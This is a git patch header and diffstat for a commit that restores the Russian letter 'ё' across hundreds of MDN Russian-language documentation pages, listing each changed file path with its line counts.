From 841aae260382e2bf5ebb44d765d8c7301d27caab Mon Sep 17 00:00:00 2001 From: Alexey Istomin Date: Sat, 20 Mar 2021 18:37:44 +0300 Subject: Restore "ё" letter in Russian translation (#239) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs(ru): restore ё letter * docs(ru): resolve conflicts * refactor(idea): remove ide folder --- .../cascade_and_inheritance/index.html | 12 +-- .../learn/css/building_blocks/selectors/index.html | 2 +- .../index.html | 18 ++-- .../css/building_blocks/styling_tables/index.html | 8 +- .../first_steps/how_css_is_structured/index.html | 8 +- .../index.html | 4 +- .../index.html | 6 +- .../conflicting/learn/css/first_steps/index.html | 4 +- .../learn/javascript/objects/index.html | 6 +- files/ru/conflicting/mdn/contribute/index.html | 10 +-- files/ru/conflicting/mozilla/add-ons/index.html | 6 +- .../mozilla/firefox/releases/index.html | 2 +- files/ru/conflicting/tools/performance/index.html | 2 +- .../web/api/document_object_model/index.html | 2 +- .../index.html | 4 +- files/ru/conflicting/web/api/push_api/index.html | 8 +- .../conflicting/web/api/web_storage_api/index.html | 16 ++-- files/ru/conflicting/web/api/webrtc_api/index.html | 2 +- .../signaling_and_video_calling/index.html | 12 +-- .../web/api/window/localstorage/index.html | 6 +- .../conflicting/web/api/xmlhttprequest/index.html | 8 +- files/ru/conflicting/web/css/_colon_is/index.html | 4 +- .../basic_concepts_of_flexbox/index.html | 24 ++--- files/ru/conflicting/web/css/gap/index.html | 2 +- files/ru/conflicting/web/css/url()/index.html | 2 +- files/ru/conflicting/web/http/cors/index.html | 4 +- files/ru/conflicting/web/http/csp/index.html | 4 +- .../web/javascript/guide/introduction/index.html | 2 +- .../index.html | 6 +- .../global_objects/proxy/proxy/index.html | 2 +- .../reference/global_objects/regexp/index.html | 2 +- .../reference/global_objects/string/index.html | 2 +- .../reference/global_objects/weakmap/index.html | 6 +- .../index.html | 4 +- .../index.html | 36 ++++---- .../index.html | 4 +- .../index.html | 8 +- files/ru/conflicting/web/media/formats/index.html | 2 +- files/ru/games/anatomy/index.html | 34 +++---- files/ru/games/index.html | 16 ++-- files/ru/games/introduction/index.html | 14 +-- .../index.html | 14 +-- .../3d_on_the_web/glsl_shaders/index.html | 2 +- files/ru/games/techniques/async_scripts/index.html | 4 +- .../techniques/controls_gamepad_api/index.html | 26 +++--- files/ru/games/tools/asm.js/index.html | 8 +- files/ru/games/tools/index.html | 2 +- .../build_the_brick_field/index.html | 2 +- .../2d_breakout_game_phaser/extra_lives/index.html | 4 +- .../2d_breakout_game_phaser/game_over/index.html | 2 +- .../2d_breakout_game_phaser/physics/index.html | 2 +- .../player_paddle_and_controls/index.html | 2 +- .../2d_breakout_game_phaser/scaling/index.html | 2 +- .../win_the_game/index.html | 2 +- .../bounce_off_the_walls/index.html | 14 +-- .../build_the_brick_field/index.html | 8 +- .../collision_detection/index.html | 10 +-- .../finishing_up/index.html | 4 +- .../game_over/index.html | 8 +- .../2d_breakout_game_pure_javascript/index.html | 6 +- .../mouse_controls/index.html | 4 +- .../paddle_and_keyboard_controls/index.html | 10 +-- .../track_the_score_and_win/index.html | 12 +-- files/ru/glossary/accessibility_tree/index.html | 4 +- files/ru/glossary/algorithm/index.html | 6 +- files/ru/glossary/application_context/index.html | 2 +- files/ru/glossary/arpanet/index.html | 2 +- files/ru/glossary/array/index.html | 2 +- files/ru/glossary/asynchronous/index.html | 2 +- files/ru/glossary/baseline/index.html | 2 +- files/ru/glossary/block/scripting/index.html | 2 +- files/ru/glossary/boolean/index.html | 2 +- files/ru/glossary/bootstrap/index.html | 2 +- files/ru/glossary/browsing_context/index.html | 2 +- files/ru/glossary/call_stack/index.html | 4 +- files/ru/glossary/callback_function/index.html | 4 +- files/ru/glossary/card_sorting/index.html | 2 +- files/ru/glossary/character/index.html | 2 +- files/ru/glossary/compile/index.html | 2 +- files/ru/glossary/computer_programming/index.html | 2 +- files/ru/glossary/conditional/index.html | 2 +- files/ru/glossary/constructor/index.html | 2 +- files/ru/glossary/cookie/index.html | 4 +- files/ru/glossary/cors/index.html | 14 +-- files/ru/glossary/csp/index.html | 2 +- files/ru/glossary/csrf/index.html | 2 +- files/ru/glossary/css/index.html | 4 +- files/ru/glossary/decryption/index.html | 4 +- files/ru/glossary/developer_tools/index.html | 2 +- files/ru/glossary/dom/index.html | 2 +- files/ru/glossary/domain_name/index.html | 2 +- files/ru/glossary/dos_attack/index.html | 6 +- files/ru/glossary/encapsulation/index.html | 2 +- .../ru/glossary/first_contentful_paint/index.html | 2 +- files/ru/glossary/forbidden_header_name/index.html | 6 +- files/ru/glossary/gecko/index.html | 2 +- files/ru/glossary/git/index.html | 2 +- files/ru/glossary/grid/index.html | 6 +- files/ru/glossary/grid_column/index.html | 2 +- files/ru/glossary/hash/index.html | 2 +- .../high-level_programming_language/index.html | 2 +- files/ru/glossary/hoisting/index.html | 8 +- files/ru/glossary/host/index.html | 2 +- files/ru/glossary/html/index.html | 4 +- files/ru/glossary/http/index.html | 2 +- files/ru/glossary/iife/index.html | 6 +- files/ru/glossary/isp/index.html | 2 +- files/ru/glossary/javascript/index.html | 4 +- files/ru/glossary/loop/index.html | 6 +- files/ru/glossary/object/index.html | 2 +- files/ru/glossary/php/index.html | 2 +- files/ru/glossary/port/index.html | 2 +- files/ru/glossary/primitive/index.html | 14 +-- files/ru/glossary/promise/index.html | 2 +- files/ru/glossary/reflow/index.html | 4 +- files/ru/glossary/regular_expression/index.html | 2 +- files/ru/glossary/round_trip_time_(rtt)/index.html | 4 +- files/ru/glossary/semantics/index.html | 6 +- files/ru/glossary/seo/index.html | 6 +- files/ru/glossary/sloppy_mode/index.html | 2 +- files/ru/glossary/symbol/index.html | 6 +- files/ru/glossary/tag/index.html | 2 +- files/ru/glossary/tcp/index.html | 2 +- files/ru/glossary/time_to_interactive/index.html | 2 +- files/ru/glossary/user_agent/index.html | 2 +- files/ru/glossary/variable/index.html | 2 +- files/ru/glossary/viewport/index.html | 2 +- files/ru/glossary/world_wide_web/index.html | 8 +- files/ru/glossary/wrapper/index.html | 4 +- .../accessibility/css_and_javascript/index.html | 2 +- files/ru/learn/accessibility/html/index.html | 2 +- files/ru/learn/accessibility/index.html | 6 +- .../learn/accessibility/wai-aria_basics/index.html | 8 +- .../accessibility/what_is_accessibility/index.html | 30 +++---- .../available_text_editors/index.html | 6 +- .../design_for_all_types_of_users/index.html | 26 +++--- .../index.html | 6 +- .../how_does_the_internet_work/index.html | 10 +-- .../how_much_does_it_cost/index.html | 32 +++---- files/ru/learn/common_questions/index.html | 8 +- .../index.html | 16 ++-- .../set_up_a_local_testing_server/index.html | 12 +-- .../thinking_before_coding/index.html | 26 +++--- .../upload_files_to_a_web_server/index.html | 10 +-- .../common_questions/using_github_pages/index.html | 20 ++--- .../what_are_hyperlinks/index.html | 8 +- .../what_is_a_domain_name/index.html | 8 +- .../common_questions/what_is_a_url/index.html | 8 +- .../what_is_a_web_server/index.html | 24 ++--- .../what_software_do_i_need/index.html | 10 +-- .../backgrounds_and_borders/index.html | 46 +++++----- .../cascade_and_inheritance/index.html | 28 +++--- .../css/building_blocks/debugging_css/index.html | 58 ++++++------ .../fundamental_css_comprehension/index.html | 22 ++--- .../handling_different_text_directions/index.html | 6 +- .../images_media_form_elements/index.html | 20 ++--- .../building_blocks/overflowing_content/index.html | 4 +- .../selectors/attribute_selectors/index.html | 6 +- .../selectors/combinators/index.html | 8 +- .../pseudo-classes_and_pseudo-elements/index.html | 22 ++--- .../type_class_and_id_selectors/index.html | 2 +- .../css/building_blocks/styling_tables/index.html | 28 +++--- .../css/building_blocks/the_box_model/index.html | 26 +++--- .../building_blocks/values_and_units/index.html | 28 +++--- files/ru/learn/css/css_layout/flexbox/index.html | 8 +- files/ru/learn/css/css_layout/floats/index.html | 24 ++--- files/ru/learn/css/css_layout/grids/index.html | 74 +++++++-------- files/ru/learn/css/css_layout/index.html | 24 ++--- .../learn/css/css_layout/introduction/index.html | 54 +++++------ .../css_layout/multiple-column_layout/index.html | 12 +-- .../ru/learn/css/css_layout/normal_flow/index.html | 10 +-- .../ru/learn/css/css_layout/positioning/index.html | 24 ++--- .../practical_positioning_examples/index.html | 8 +- .../css/css_layout/responsive_design/index.html | 30 +++---- .../css/first_steps/getting_started/index.html | 28 +++--- .../first_steps/how_css_is_structured/index.html | 8 +- .../learn/css/first_steps/how_css_works/index.html | 6 +- files/ru/learn/css/first_steps/index.html | 4 +- .../using_your_new_knowledge/index.html | 2 +- .../learn/css/first_steps/what_is_css/index.html | 14 +-- files/ru/learn/css/howto/index.html | 2 +- files/ru/learn/css/index.html | 6 +- .../learn/css/styling_text/fundamentals/index.html | 10 +-- files/ru/learn/css/styling_text/index.html | 4 +- .../css/styling_text/styling_links/index.html | 52 +++++------ .../css/styling_text/styling_lists/index.html | 30 +++---- .../styling_text/typesetting_a_homepage/index.html | 10 +-- .../ru/learn/css/styling_text/web_fonts/index.html | 20 ++--- files/ru/learn/forms/form_validation/index.html | 50 +++++------ .../how_to_build_custom_form_controls/index.html | 72 +++++++-------- .../forms/how_to_structure_a_web_form/index.html | 12 +-- files/ru/learn/forms/index.html | 4 +- .../sending_and_retrieving_form_data/index.html | 28 +++--- .../sending_forms_through_javascript/index.html | 10 +-- files/ru/learn/forms/styling_web_forms/index.html | 4 +- files/ru/learn/forms/your_first_form/index.html | 4 +- files/ru/learn/front-end_web_developer/index.html | 2 +- .../css_basics/index.html | 38 ++++---- .../dealing_with_files/index.html | 14 +-- .../how_the_web_works/index.html | 14 +-- .../html_basics/index.html | 28 +++--- .../learn/getting_started_with_the_web/index.html | 16 ++-- .../installing_basic_software/index.html | 2 +- .../javascript_basics/index.html | 20 ++--- .../publishing_your_website/index.html | 20 ++--- .../the_web_and_web_standards/index.html | 4 +- .../what_will_your_website_look_like/index.html | 6 +- .../author_fast-loading_html_pages/index.html | 22 ++--- files/ru/learn/html/howto/index.html | 4 +- files/ru/learn/html/index.html | 8 +- .../advanced_text_formatting/index.html | 28 +++--- .../creating_hyperlinks/index.html | 34 +++---- .../introduction_to_html/debugging_html/index.html | 16 ++-- .../document_and_website_structure/index.html | 24 ++--- .../getting_started/index.html | 22 ++--- .../html_text_fundamentals/index.html | 60 ++++++------- .../ru/learn/html/introduction_to_html/index.html | 8 +- .../marking_up_a_letter/index.html | 6 +- .../structuring_a_page_of_content/index.html | 12 +-- .../the_head_metadata_in_html/index.html | 12 +-- .../adding_vector_graphics_to_the_web/index.html | 24 ++--- .../images_in_html/index.html | 18 ++-- .../test_your_skills_colon__html_images/index.html | 2 +- .../learn/html/multimedia_and_embedding/index.html | 8 +- .../mozilla_splash_page/index.html | 6 +- .../other_embedding_technologies/index.html | 26 +++--- .../responsive_images/index.html | 12 +-- .../video_and_audio_content/index.html | 38 ++++---- files/ru/learn/html/tables/advanced/index.html | 24 ++--- files/ru/learn/html/tables/basics/index.html | 46 +++++----- files/ru/learn/html/tables/index.html | 2 +- .../html/tables/structuring_planet_data/index.html | 8 +- files/ru/learn/index.html | 2 +- .../javascript/asynchronous/async_await/index.html | 30 +++---- .../javascript/asynchronous/concepts/index.html | 22 ++--- .../javascript/asynchronous/introducing/index.html | 26 +++--- .../asynchronous/timeouts_and_intervals/index.html | 100 ++++++++++----------- .../build_your_own_function/index.html | 36 ++++---- .../building_blocks/conditionals/index.html | 60 ++++++------- .../javascript/building_blocks/events/index.html | 50 +++++------ .../building_blocks/functions/index.html | 40 ++++----- .../building_blocks/image_gallery/index.html | 8 +- .../building_blocks/looping_code/index.html | 76 ++++++++-------- .../building_blocks/return_values/index.html | 16 ++-- .../test_your_skills_colon__functions/index.html | 8 +- .../client-side_storage/index.html | 30 +++---- .../client-side_web_apis/fetching_data/index.html | 44 ++++----- .../javascript/client-side_web_apis/index.html | 6 +- .../client-side_web_apis/introduction/index.html | 2 +- .../manipulating_documents/index.html | 54 +++++------ .../third_party_apis/index.html | 18 ++-- .../first_steps/a_first_splash/index.html | 78 ++++++++-------- .../learn/javascript/first_steps/arrays/index.html | 30 +++---- .../learn/javascript/first_steps/math/index.html | 40 ++++----- .../first_steps/silly_story_generator/index.html | 26 +++--- .../javascript/first_steps/strings/index.html | 18 ++-- .../first_steps/useful_string_methods/index.html | 42 ++++----- .../javascript/first_steps/variables/index.html | 44 ++++----- .../first_steps/what_is_javascript/index.html | 38 ++++---- .../first_steps/what_went_wrong/index.html | 48 +++++----- files/ru/learn/javascript/howto/index.html | 6 +- files/ru/learn/javascript/index.html | 4 +- .../adding_bouncing_balls_features/index.html | 24 ++--- .../ru/learn/javascript/objects/basics/index.html | 26 +++--- files/ru/learn/javascript/objects/index.html | 4 +- .../javascript/objects/inheritance/index.html | 36 ++++---- files/ru/learn/javascript/objects/json/index.html | 32 +++---- .../objects/object-oriented_js/index.html | 18 ++-- .../objects/object_building_practice/index.html | 28 +++--- .../objects/object_prototypes/index.html | 42 ++++----- .../business_case_for_performance/index.html | 4 +- .../apache_configuration_htaccess/index.html | 4 +- .../learn/server-side/django/admin_site/index.html | 32 +++---- .../server-side/django/authentication/index.html | 58 ++++++------ .../learn/server-side/django/deployment/index.html | 82 ++++++++--------- .../django/development_environment/index.html | 24 ++--- .../django/django_assessment_blog/index.html | 16 ++-- files/ru/learn/server-side/django/forms/index.html | 96 ++++++++++---------- .../server-side/django/generic_views/index.html | 98 ++++++++++---------- .../learn/server-side/django/home_page/index.html | 44 ++++----- files/ru/learn/server-side/django/index.html | 12 +-- .../server-side/django/introduction/index.html | 10 +-- .../ru/learn/server-side/django/models/index.html | 58 ++++++------ .../learn/server-side/django/sessions/index.html | 16 ++-- .../server-side/django/skeleton_website/index.html | 2 +- .../ru/learn/server-side/django/testing/index.html | 88 +++++++++--------- .../django/web_application_security/index.html | 20 ++--- .../development_environment/index.html | 30 +++---- .../displaying_data/author_list_page/index.html | 6 +- .../displaying_data/book_list_page/index.html | 6 +- .../bookinstance_list_page/index.html | 4 +- .../date_formatting_using_moment/index.html | 2 +- .../flow_control_using_async/index.html | 20 ++--- .../displaying_data/genre_detail_page/index.html | 2 +- .../displaying_data/home_page/index.html | 20 ++--- .../express_nodejs/displaying_data/index.html | 4 +- .../displaying_data/template_primer/index.html | 14 +-- .../forms/create_bookinstance_form/index.html | 2 +- .../forms/delete_author_form/index.html | 10 +-- .../server-side/express_nodejs/forms/index.html | 26 +++--- .../forms/update_book_form/index.html | 4 +- .../ru/learn/server-side/express_nodejs/index.html | 8 +- .../express_nodejs/introduction/index.html | 62 ++++++------- .../server-side/express_nodejs/mongoose/index.html | 88 +++++++++--------- .../server-side/express_nodejs/routes/index.html | 40 ++++----- .../express_nodejs/skeleton_website/index.html | 30 +++---- .../tutorial_local_library_website/index.html | 2 +- files/ru/learn/server-side/first_steps/index.html | 6 +- .../first_steps/web_frameworks/index.html | 4 +- .../first_steps/website_security/index.html | 54 +++++------ files/ru/learn/server-side/index.html | 6 +- .../node_server_without_framework/index.html | 4 +- .../react_getting_started/index.html | 4 +- .../feature_detection/index.html | 48 +++++----- .../cross_browser_testing/html_and_css/index.html | 2 +- .../cross_browser_testing/index.html | 12 +-- .../cross_browser_testing/introduction/index.html | 16 ++-- files/ru/learn/tools_and_testing/github/index.html | 8 +- files/ru/mdn/about/index.html | 2 +- files/ru/mdn/contribute/feedback/index.html | 2 +- files/ru/mdn/contribute/getting_started/index.html | 8 +- .../convert_code_samples_to_be_live/index.html | 2 +- .../contribute/howto/report_a_problem/index.html | 8 +- .../write_a_new_entry_in_the_glossary/index.html | 12 +-- files/ru/mdn/contribute/processes/index.html | 2 +- .../tools/kumascript/troubleshooting/index.html | 4 +- files/ru/mdn/tools/unsupported_get_api/index.html | 2 +- files/ru/mozilla/add-ons/index.html | 8 +- .../anatomy_of_a_webextension/index.html | 4 +- .../add-ons/webextensions/api/cookies/index.html | 4 +- .../mozilla/add-ons/webextensions/api/index.html | 2 +- .../webextensions/api/webrequest/index.html | 6 +- .../chrome_incompatibilities/index.html | 2 +- .../intercept_http_requests/index.html | 2 +- .../webextensions/internationalization/index.html | 42 ++++----- .../manifest.json/permissions/index.html | 2 +- .../webextensions/manifest.json/version/index.html | 2 +- .../webextensions/modify_a_web_page/index.html | 2 +- .../user_interface/browser_action/index.html | 8 +- .../webextensions/user_interface/index.html | 6 +- .../user_interface/sidebars/index.html | 6 +- .../what_are_webextensions/index.html | 4 +- .../your_first_webextension/index.html | 4 +- .../your_second_webextension/index.html | 26 +++--- files/ru/mozilla/developer_guide/index.html | 8 +- .../inner_and_outer_windows/index.html | 4 +- .../developer_guide/introduction/index.html | 6 +- files/ru/mozilla/firefox/index.html | 8 +- .../1.5/using_firefox_1.5_caching/index.html | 2 +- files/ru/mozilla/firefox/releases/32/index.html | 4 +- files/ru/mozilla/firefox/releases/33/index.html | 2 +- files/ru/mozilla/firefox/releases/43/index.html | 14 +-- files/ru/mozilla/firefox/releases/50/index.html | 2 +- files/ru/mozilla/firefox/releases/53/index.html | 10 +-- files/ru/mozilla/firefox/releases/58/index.html | 4 +- files/ru/mozilla/firefox/releases/59/index.html | 6 +- files/ru/mozilla/firefox/releases/63/index.html | 2 +- files/ru/mozilla/firefox/releases/64/index.html | 4 +- files/ru/mozilla/firefox/releases/65/index.html | 2 +- files/ru/mozilla/firefox/releases/68/index.html | 8 +- .../ru/orphaned/learn/how_to_contribute/index.html | 4 +- .../learn/html/forms/html5_updates/index.html | 10 +-- .../mdn/community/conversations/index.html | 2 +- files/ru/orphaned/mdn/community/index.html | 2 +- .../mdn/community/whats_happening/index.html | 2 +- .../mdn/community/working_in_community/index.html | 18 ++-- .../howto/create_an_mdn_account/index.html | 4 +- .../howto/do_a_technical_review/index.html | 2 +- .../howto/do_an_editorial_review/index.html | 2 +- .../howto/set_the_summary_for_a_page/index.html | 2 +- .../howto/tag_javascript_pages/index.html | 4 +- files/ru/orphaned/mdn/editor/basics/index.html | 8 +- .../mdn/editor/basics/page_controls/index.html | 2 +- .../orphaned/mdn/editor/basics/toolbar/index.html | 52 +++++------ files/ru/orphaned/mdn/editor/images/index.html | 2 +- files/ru/orphaned/mdn/editor/links/index.html | 2 +- .../ru/orphaned/mdn/tools/page_watching/index.html | 14 +-- .../tools/add-ons/dom_inspector/index.html | 4 +- .../checking_authenticity_with_password/index.html | 4 +- .../orphaned/web/html/element/element/index.html | 6 +- .../web/html/global_attributes/dropzone/index.html | 6 +- .../index.html" | 6 +- .../information_security_basics/index.html | 2 +- .../index.html" | 2 +- .../index.html" | 8 +- .../index.html" | 6 +- .../index.html" | 2 +- .../index.html" | 22 ++--- .../index.html" | 2 +- .../index.html" | 2 +- .../index.html" | 10 +-- .../index.html" | 2 +- files/ru/plugins/roadmap/index.html | 4 +- files/ru/tools/3d_view/index.html | 4 +- files/ru/tools/accessibility_inspector/index.html | 2 +- files/ru/tools/debugger/index.html | 2 +- .../ru/tools/debugger/source_map_errors/index.html | 4 +- files/ru/tools/index.html | 8 +- files/ru/tools/network_monitor/index.html | 6 +- .../how_to/edit_css_shapes/index.html | 22 ++--- .../how_to/examine_and_edit_css/index.html | 2 +- .../how_to/examine_event_listeners/index.html | 2 +- .../how_to/inspect_and_select_colors/index.html | 2 +- .../how_to/work_with_animations/index.html | 14 +-- files/ru/tools/performance/index.html | 4 +- files/ru/tools/performance/waterfall/index.html | 2 +- .../debugging_firefox_desktop/index.html | 2 +- files/ru/tools/remote_debugging/index.html | 4 +- files/ru/tools/responsive_design_mode/index.html | 2 +- files/ru/tools/shader_editor/index.html | 2 +- files/ru/tools/storage_inspector/index.html | 4 +- files/ru/tools/style_editor/index.html | 4 +- files/ru/tools/tools_toolbox/index.html | 6 +- files/ru/tools/web_audio_editor/index.html | 14 +-- files/ru/tools/web_console/helpers/index.html | 4 +- files/ru/tools/web_console/index.html | 20 ++--- .../ru/tools/web_console/split_console/index.html | 6 +- files/ru/tools/working_with_iframes/index.html | 2 +- .../accessibility/aria/aria_techniques/index.html | 2 +- .../index.html | 4 +- .../using_the_aria-labelledby_attribute/index.html | 2 +- files/ru/web/accessibility/aria/index.html | 8 +- .../aria/roles/checkbox_role/index.html | 12 +-- files/ru/web/accessibility/index.html | 2 +- .../index.html | 16 ++-- .../perceivable/color_contrast/index.html | 4 +- files/ru/web/api/abortcontroller/index.html | 10 +-- files/ru/web/api/abortsignal/index.html | 2 +- files/ru/web/api/abstractworker/index.html | 2 +- files/ru/web/api/ambient_light_events/index.html | 10 +-- .../analysernode/getbytefrequencydata/index.html | 2 +- files/ru/web/api/angle_instanced_arrays/index.html | 4 +- files/ru/web/api/animation/index.html | 24 ++--- files/ru/web/api/attr/index.html | 10 +-- files/ru/web/api/audiobuffer/index.html | 6 +- .../createmediaelementsource/index.html | 4 +- files/ru/web/api/audiocontext/index.html | 2 +- files/ru/web/api/audionode/index.html | 6 +- .../web/api/audioparam/setvalueattime/index.html | 2 +- .../api/baseaudiocontext/createpanner/index.html | 4 +- files/ru/web/api/beacon_api/index.html | 8 +- .../ru/web/api/beforeinstallpromptevent/index.html | 2 +- files/ru/web/api/blob/blob/index.html | 2 +- files/ru/web/api/blob/index.html | 4 +- files/ru/web/api/blob/slice/index.html | 4 +- .../web/api/bluetoothremotegattserver/index.html | 2 +- files/ru/web/api/body/arraybuffer/index.html | 6 +- files/ru/web/api/body/json/index.html | 6 +- files/ru/web/api/broadcastchannel/index.html | 4 +- .../api/broadcastchannel/postmessage/index.html | 2 +- files/ru/web/api/cache/add/index.html | 2 +- files/ru/web/api/cache/addall/index.html | 2 +- files/ru/web/api/cache/delete/index.html | 2 +- files/ru/web/api/cache/index.html | 16 ++-- files/ru/web/api/cache/keys/index.html | 4 +- files/ru/web/api/cache/match/index.html | 4 +- files/ru/web/api/cachestorage/index.html | 18 ++-- .../api/canvas_api/a_basic_ray-caster/index.html | 10 +-- .../tutorial/advanced_animations/index.html | 2 +- .../tutorial/applying_styles_and_colors/index.html | 46 +++++----- .../api/canvas_api/tutorial/basic_usage/index.html | 12 +-- .../api/canvas_api/tutorial/compositing/index.html | 14 +-- .../canvas_api/tutorial/drawing_shapes/index.html | 36 ++++---- .../canvas_api/tutorial/drawing_text/index.html | 2 +- files/ru/web/api/canvas_api/tutorial/index.html | 4 +- .../tutorial/optimizing_canvas/index.html | 8 +- .../pixel_manipulation_with_canvas/index.html | 16 ++-- .../canvas_api/tutorial/transformations/index.html | 8 +- .../canvas_api/tutorial/using_images/index.html | 22 ++--- .../api/canvascapturemediastreamtrack/index.html | 2 +- files/ru/web/api/canvasgradient/index.html | 2 +- .../api/canvasrenderingcontext2d/arc/index.html | 2 +- .../api/canvasrenderingcontext2d/arcto/index.html | 6 +- .../beziercurveto/index.html | 2 +- .../canvasrenderingcontext2d/clearrect/index.html | 2 +- .../canvasrenderingcontext2d/closepath/index.html | 4 +- .../createlineargradient/index.html | 6 +- .../canvasrenderingcontext2d/drawimage/index.html | 16 ++-- .../canvasrenderingcontext2d/ellipse/index.html | 2 +- .../api/canvasrenderingcontext2d/fill/index.html | 8 +- .../canvasrenderingcontext2d/fillstyle/index.html | 4 +- .../canvasrenderingcontext2d/filltext/index.html | 2 +- .../api/canvasrenderingcontext2d/font/index.html | 2 +- .../getimagedata/index.html | 8 +- .../getlinedash/index.html | 2 +- .../globalalpha/index.html | 2 +- .../ru/web/api/canvasrenderingcontext2d/index.html | 36 ++++---- .../linedashoffset/index.html | 6 +- .../canvasrenderingcontext2d/linejoin/index.html | 2 +- .../api/canvasrenderingcontext2d/lineto/index.html | 4 +- .../canvasrenderingcontext2d/linewidth/index.html | 2 +- .../api/canvasrenderingcontext2d/rect/index.html | 2 +- .../canvasrenderingcontext2d/restore/index.html | 2 +- .../api/canvasrenderingcontext2d/rotate/index.html | 4 +- .../api/canvasrenderingcontext2d/stroke/index.html | 4 +- .../strokestyle/index.html | 2 +- .../canvasrenderingcontext2d/stroketext/index.html | 2 +- .../canvasrenderingcontext2d/textalign/index.html | 2 +- files/ru/web/api/cdatasection/index.html | 2 +- files/ru/web/api/characterdata/index.html | 2 +- files/ru/web/api/childnode/index.html | 2 +- files/ru/web/api/childnode/remove/index.html | 4 +- files/ru/web/api/clients/index.html | 2 +- files/ru/web/api/clients/openwindow/index.html | 4 +- files/ru/web/api/clipboardevent/index.html | 2 +- files/ru/web/api/comment/index.html | 2 +- files/ru/web/api/console/count/index.html | 6 +- files/ru/web/api/console/countreset/index.html | 20 ++--- files/ru/web/api/console/group/index.html | 6 +- files/ru/web/api/console/index.html | 6 +- files/ru/web/api/console/time/index.html | 2 +- files/ru/web/api/console/timelog/index.html | 2 +- files/ru/web/api/console/trace/index.html | 2 +- .../web/api/credential_management_api/index.html | 16 ++-- files/ru/web/api/css_object_model/index.html | 2 +- .../managing_screen_orientation/index.html | 6 +- files/ru/web/api/cssrule/index.html | 2 +- files/ru/web/api/cssstyledeclaration/index.html | 6 +- files/ru/web/api/datatransfer/index.html | 8 +- files/ru/web/api/document/activeelement/index.html | 2 +- files/ru/web/api/document/alinkcolor/index.html | 2 +- files/ru/web/api/document/cookie/index.html | 4 +- .../ru/web/api/document/createattribute/index.html | 2 +- .../api/document/createdocumentfragment/index.html | 2 +- files/ru/web/api/document/createelement/index.html | 12 +-- .../ru/web/api/document/createtextnode/index.html | 2 +- files/ru/web/api/document/document/index.html | 2 +- files/ru/web/api/document/execcommand/index.html | 20 ++--- .../api/document/getelementsbyclassname/index.html | 8 +- .../api/document/getelementsbytagname/index.html | 2 +- files/ru/web/api/document/head/index.html | 2 +- files/ru/web/api/document/importnode/index.html | 4 +- files/ru/web/api/document/index.html | 2 +- .../ru/web/api/document/keypress_event/index.html | 2 +- files/ru/web/api/document/queryselector/index.html | 4 +- files/ru/web/api/document/readystate/index.html | 6 +- files/ru/web/api/document/referrer/index.html | 4 +- files/ru/web/api/document/scroll_event/index.html | 4 +- .../api/document_object_model/events/index.html | 8 +- .../api/document_object_model/examples/index.html | 2 +- .../document_object_model/introduction/index.html | 8 +- .../index.html | 6 +- files/ru/web/api/documentfragment/index.html | 4 +- files/ru/web/api/domhighrestimestamp/index.html | 2 +- .../createhtmldocument/index.html | 4 +- files/ru/web/api/domimplementation/index.html | 12 +-- files/ru/web/api/domparser/index.html | 2 +- files/ru/web/api/domtokenlist/replace/index.html | 2 +- files/ru/web/api/element/attachshadow/index.html | 6 +- files/ru/web/api/element/blur_event/index.html | 2 +- files/ru/web/api/element/classlist/index.html | 2 +- files/ru/web/api/element/clientleft/index.html | 6 +- files/ru/web/api/element/clienttop/index.html | 2 +- files/ru/web/api/element/closest/index.html | 2 +- files/ru/web/api/element/error_event/index.html | 2 +- .../api/element/getboundingclientrect/index.html | 4 +- .../api/element/getelementsbyclassname/index.html | 4 +- .../api/element/getelementsbytagname/index.html | 6 +- files/ru/web/api/element/hasattribute/index.html | 2 +- files/ru/web/api/element/index.html | 22 ++--- files/ru/web/api/element/innerhtml/index.html | 8 +- .../web/api/element/insertadjacenttext/index.html | 2 +- .../ru/web/api/element/mouseenter_event/index.html | 2 +- .../ru/web/api/element/mouseleave_event/index.html | 2 +- .../ru/web/api/element/removeattribute/index.html | 2 +- files/ru/web/api/element/scrollheight/index.html | 2 +- files/ru/web/api/element/scrolltop/index.html | 2 +- files/ru/web/api/element/setattribute/index.html | 6 +- files/ru/web/api/element/slot/index.html | 2 +- .../web/api/elementcssinlinestyle/style/index.html | 6 +- files/ru/web/api/event/event/index.html | 2 +- files/ru/web/api/event/index.html | 4 +- files/ru/web/api/event/type/index.html | 2 +- .../api/eventtarget/addeventlistener/index.html | 16 ++-- .../api/eventtarget/removeeventlistener/index.html | 4 +- .../web/api/extendableevent/waituntil/index.html | 2 +- .../fetch_api/cross-global_fetch_usage/index.html | 6 +- files/ru/web/api/fetch_api/index.html | 6 +- files/ru/web/api/fetch_api/using_fetch/index.html | 12 +-- files/ru/web/api/fetchevent/index.html | 2 +- files/ru/web/api/file/filename/index.html | 4 +- .../using_files_from_web_applications/index.html | 26 +++--- .../api/file_and_directory_entries_api/index.html | 12 +-- .../introduction/index.html | 6 +- files/ru/web/api/filereader/index.html | 8 +- .../api/filereader/readasarraybuffer/index.html | 2 +- .../api/filereader/readasbinarystring/index.html | 4 +- files/ru/web/api/fontface/index.html | 2 +- files/ru/web/api/formdata/append/index.html | 8 +- files/ru/web/api/formdata/delete/index.html | 2 +- files/ru/web/api/formdata/formdata/index.html | 4 +- files/ru/web/api/formdata/get/index.html | 4 +- files/ru/web/api/formdata/getall/index.html | 2 +- files/ru/web/api/formdata/index.html | 4 +- files/ru/web/api/formdata/set/index.html | 4 +- files/ru/web/api/gamepad/buttons/index.html | 2 +- files/ru/web/api/gamepad/connected/index.html | 4 +- files/ru/web/api/gamepad/id/index.html | 6 +- files/ru/web/api/gamepad/index.html | 6 +- files/ru/web/api/gamepad/index/index.html | 4 +- files/ru/web/api/gamepad_api/index.html | 10 +-- .../gamepad_api/using_the_gamepad_api/index.html | 6 +- files/ru/web/api/gamepadbutton/index.html | 4 +- files/ru/web/api/gamepadevent/index.html | 2 +- files/ru/web/api/geolocation_api/index.html | 2 +- .../using_the_geolocation_api/index.html | 4 +- files/ru/web/api/geolocationcoordinates/index.html | 2 +- .../ru/web/api/geolocationpositionerror/index.html | 2 +- .../onanimationcancel/index.html | 4 +- .../web/api/globaleventhandlers/onerror/index.html | 2 +- .../api/globaleventhandlers/onloadend/index.html | 2 +- files/ru/web/api/gyroscope/index.html | 2 +- files/ru/web/api/history/go/index.html | 8 +- files/ru/web/api/history/index.html | 8 +- files/ru/web/api/history/state/index.html | 4 +- files/ru/web/api/history_api/index.html | 4 +- .../working_with_the_history_api/index.html | 2 +- .../drag_operations/index.html | 26 +++--- files/ru/web/api/html_drag_and_drop_api/index.html | 8 